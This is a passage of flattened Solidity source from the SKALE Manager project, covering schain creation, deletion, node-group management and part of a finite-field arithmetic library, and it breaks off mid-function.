uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainHash, uint time, uint gasSpend ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainHash ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainHash, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainHash, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainHash, uint[] nodesInGroup, uint time, uint gasSpend ); /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. */ function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") { SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(now >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner ) external payable { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainHash = keccak256(abi.encodePacked(name)); Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainHash); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external allow("SkaleManager") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainHash = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainHash), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external allow("SkaleManager") { _deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external allow("SkaleManager") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainHash = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success"); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash); skaleDKG.openChannel(schainHash); emit NodeAdded(schainHash, newNodeIndex); } /** * @dev addSpace - return occupied space to Node * nodeIndex - index of Node at common array of Nodes * partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); nodes.addSpaceToNode(nodeIndex, partOfNode); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view override returns (bool) { SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier")); G2Operations.G2Point memory publicKey = KeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( keccak256(abi.encodePacked(schainName)) ); return skaleVerifier.verify( Fp2Operations.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) .mul(uint(constantsHolder.SECONDS_TO_YEAR())) .div(divisor) ); return up.div(down); } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, uint deposit, uint lifetime, SchainsInternal schainsInternal ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain schainsInternal.initializeSchain(name, from, lifetime, deposit); schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev Converts data from bytes to normal schain parameters of lifetime, * type, nonce, and name. */ function _fallbackSchainParametersDataConverter(bytes memory data) private pure returns (SchainParameters memory schainParameters) { (schainParameters.lifetime, schainParameters.typeOfSchain, schainParameters.nonce, schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string)); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainHash, uint numberOfNodes, uint8 partOfNode, SchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainHash, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash); emit SchainNodes( schainName, schainHash, nodesInGroup, block.timestamp, gasleft()); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, deposit, schainParameters.lifetime, schainsInternal ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), block.timestamp, gasleft()); } function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainHash = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainHash), "Schain does not exist"); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainHash); uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainHash); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = schainsInternal.findSchainAtSchainsForNode( nodesInGroup[i], schainHash ); if (schainsInternal.checkHoleForSchain(schainHash, i)) { continue; } require( schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainHash); schainsInternal.removeNodeFromExceptions(schainHash, nodesInGroup[i]); this.addSpace(nodesInGroup[i], partOfNode); } schainsInternal.deleteGroup(schainHash); address from = schainsInternal.getSchainOwner(schainHash); schainsInternal.removeSchain(schainHash, from); schainsInternal.removeHolesForSchain(schainHash); nodeRotation.removeRotation(schainHash); Wallets( payable(contractManager.getContract("Wallets")) ).withdrawFundsFromSchainWallet(payable(from), schainHash); emit SchainDeleted(from, name, schainHash); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions, ISchainsInternal { using Random for Random.RandomGenerator; using EnumerableSet for EnumerableSet.UintSet; struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSet.UintSet private _keysOfSchainTypes; bytes32 public constant SCHAIN_TYPE_MANAGER_ROLE = keccak256("SCHAIN_TYPE_MANAGER_ROLE"); bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE"); modifier onlySchainTypeManager() { require(hasRole(SCHAIN_TYPE_MANAGER_ROLE, msg.sender), "SCHAIN_TYPE_MANAGER_ROLE is required"); _; } modifier onlyDebugger() { require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required"); _; } /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("Schains") { bytes32 schainHash = keccak256(abi.encodePacked(name)); schains[schainHash].name = name; schains[schainHash].owner = from; schains[schainHash].startDate = block.timestamp; schains[schainHash].startBlock = block.number; schains[schainHash].lifetime = lifetime; schains[schainHash].deposit = deposit; schains[schainHash].index = numberOfSchains; isSchainActive[schainHash] = true; numberOfSchains++; schainsAtSystem.push(schainHash); usedSchainNames[schainHash] = true; } /** * @dev Allows Schain contract to create a node group for an schain. */ function createGroupForSchain( bytes32 schainHash, uint numberOfNodes, uint8 partOfNode ) external allow("Schains") returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainHash].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add( numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode) ); } return _generateGroup(schainHash, numberOfNodes); } /** * @dev Allows Schains contract to set index in owner list. */ function setSchainIndex(bytes32 schainHash, address from) external allow("Schains") { schains[schainHash].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainHash); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. */ function changeLifetime(bytes32 schainHash, uint lifetime, uint deposit) external allow("Schains") { schains[schainHash].deposit = schains[schainHash].deposit.add(deposit); schains[schainHash].lifetime = schains[schainHash].lifetime.add(lifetime); } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. */ function removeSchain(bytes32 schainHash, address from) external allow("Schains") { isSchainActive[schainHash] = false; uint length = schainIndexes[from].length; uint index = schains[schainHash].indexInOwnerList; if (index != length.sub(1)) { bytes32 lastSchainHash = schainIndexes[from][length.sub(1)]; schains[lastSchainHash].indexInOwnerList = index; schainIndexes[from][index] = lastSchainHash; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainHash) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; } } schainsAtSystem.pop(); delete schains[schainHash]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external allowThree("NodeRotation", "SkaleDKG", "Schains") { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length.sub(1); if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash); removeSchainForNode(nodeIndex, schainIndexOnNode); delete placeOfSchainOnNode[schainHash][nodeIndex]; } /** * @dev Allows Schains contract to delete a group of schains */ function deleteGroup(bytes32 schainHash) external allow("Schains") { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainHash]; skaleDKG.deleteChannel(schainHash); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. */ function setException(bytes32 schainHash, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { _setException(schainHash, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. */ function setNodeInGroup(bytes32 schainHash, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { if (holesForSchains[schainHash].length == 0) { schainsGroups[schainHash].push(nodeIndex); } else { schainsGroups[schainHash][holesForSchains[schainHash][0]] = nodeIndex; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForSchains[schainHash].length; i++) { if (min > holesForSchains[schainHash][i]) { min = holesForSchains[schainHash][i]; index = i; } } if (min == uint(-1)) { delete holesForSchains[schainHash]; } else { holesForSchains[schainHash][0] = min; holesForSchains[schainHash][index] = holesForSchains[schainHash][holesForSchains[schainHash].length - 1]; holesForSchains[schainHash].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains */ function removeHolesForSchain(bytes32 schainHash) external allow("Schains") { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlySchainTypeManager { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external onlySchainTypeManager { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlySchainTypeManager { numberOfSchainTypes = newNumberOfSchainTypes; } /** * @dev Allows Admin to move schain to placeOfSchainOnNode map */ function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyDebugger { for (uint i = 0; i < schainsGroups[schainHash].length; i++) { uint nodeIndex = schainsGroups[schainHash][i]; for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) { if (schainsForNodes[nodeIndex][j] == schainHash) { placeOfSchainOnNode[schainHash][nodeIndex] = j + 1; } } } } function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; if (len > 0) { for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } } function makeSchainNodesInvisible(bytes32 schainHash) external allowTwo("NodeRotation", "SkaleDKG") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainHash][i]); } } function makeSchainNodesVisible(bytes32 schainHash) external allowTwo("NodeRotation", "SkaleDKG") { _makeSchainNodesVisible(schainHash); } /** * @dev Returns all Schains in the network. */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. */ function getSchainsPartOfNode(bytes32 schainHash) external view returns (uint8) { return schains[schainHash].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainHashsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainHashsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. */ function getSchainOwner(bytes32 schainHash) external view returns (address) { return schains[schainHash].owner; } /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainHash = keccak256(abi.encodePacked(name)); return schains[schainHash].owner == address(0) && !usedSchainNames[schainHash] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")); } /** * @dev Checks whether schain lifetime has expired. */ function isTimeExpired(bytes32 schainHash) external view returns (bool) { return uint(schains[schainHash].startDate).add(schains[schainHash].lifetime) < block.timestamp; } /** * @dev Checks whether address is owner of schain. */ function isOwnerAddress(address from, bytes32 schainHash) external view override returns (bool) { return schains[schainHash].owner == from; } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainHash) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainHash].name)) != keccak256(abi.encodePacked("")); } /** * @dev Returns schain name. */ function getSchainName(bytes32 schainHash) external view returns (string memory) { return schains[schainHash].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. */ function getNumberOfNodesInGroup(bytes32 schainHash) external view returns (uint) { return schainsGroups[schainHash].length; } /** * @dev Returns nodes in an schain group. */ function getNodesInGroup(bytes32 schainHash) external view returns (uint[] memory) { return schainsGroups[schainHash]; } /** * @dev Checks whether sender is a node address from a given schain group. */ function isNodeAddressesInGroup(bytes32 schainHash, address sender) external view override returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < schainsGroups[schainHash].length; i++) { if (nodes.getNodeAddress(schainsGroups[schainHash][i]) == sender) { return true; } } return false; } /** * @dev Returns node index in schain group. */ function getNodeIndexInGroup(bytes32 schainHash, uint nodeId) external view returns (uint) { for (uint index = 0; index < schainsGroups[schainHash].length; index++) { if (schainsGroups[schainHash][index] == nodeId) { return index; } } return schainsGroups[schainHash].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. */ function isAnyFreeNode(bytes32 schainHash) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainHash].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. */ function checkException(bytes32 schainHash, uint nodeIndex) external view returns (bool) { return _exceptionsForGroups[schainHash][nodeIndex]; } function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Returns number of Schains on a node. */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } function getSchainType(uint typeOfSchain) external view returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. */ function addSchainForNode(uint nodeIndex, bytes32 schainHash) public allowTwo("Schains", "NodeRotation") { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainHash); placeOfSchainOnNode[schainHash][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainHash; placeOfSchainOnNode[schainHash][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length.sub(1)) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public allowThree("Schains", "NodeRotation", "SkaleManager") { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; bool removed = false; if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) { _nodeToLockedSchains[nodeIndex].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; _nodeToLockedSchains[nodeIndex].pop(); removed = true; } } } len = _schainToExceptionNodes[schainHash].length; removed = false; if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) { _schainToExceptionNodes[schainHash].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; _schainToExceptionNodes[schainHash].pop(); removed = true; } } } } /** * @dev Returns index of Schain in list of schains for a given node. */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainHash) public view returns (uint) { if (placeOfSchainOnNode[schainHash][nodeIndex] == 0) return schainsForNodes[nodeIndex].length; return placeOfSchainOnNode[schainHash][nodeIndex] - 1; } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainHash, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainHash].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number.sub(1))), schainHash) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainHash, node); addSchainForNode(node, schainHash); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainHash] = nodesInGroup; _makeSchainNodesVisible(schainHash); } function _setException(bytes32 schainHash, uint nodeIndex) private { _exceptionsForGroups[schainHash][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainHash); _schainToExceptionNodes[schainHash].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainHash) private { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainHash][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainHash, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainHash]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* FieldOperations.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Precompiled.sol"; library Fp2Operations { using SafeMath for uint; struct Fp2Point { uint a; uint b; } uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) { return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) }); } function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) { return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) }); } function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure returns (Fp2Point memory difference) { uint p = P; if (diminished.a >= subtracted.a) { difference.a = addmod(diminished.a, p - subtracted.a, p); } else { difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p); } if (diminished.b >= subtracted.b) { difference.b = addmod(diminished.b, p - subtracted.b, p); } else { difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p); } } function mulFp2( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (Fp2Point memory result) { uint p = P; Fp2Point memory point = Fp2Point({ a: mulmod(value1.a, value2.a, p), b: mulmod(value1.b, value2.b, p)}); result.a = addmod( point.a, mulmod(p - 1, point.b, p), p); result.b = addmod( mulmod( addmod(value1.a, value1.b, p), addmod(value2.a, value2.b, p), p), p - addmod(point.a, point.b, p), p); } function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) { uint p = P; uint ab = mulmod(value.a, value.b, p); uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p); return Fp2Point({ a: mult, b: addmod(ab, ab, p) }); } function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) { uint p = P; uint t0 = mulmod(value.a, value.a, p); uint t1 = mulmod(value.b, value.b, p); uint t2 = mulmod(p - 1, t1, p); if (t0 >= t2) { t2 = addmod(t0, p - t2, p); } else { t2 = (p - addmod(t2, p - t0, p)).mod(p); } uint t3 = Precompiled.bigModExp(t2, p - 2, p); result.a = 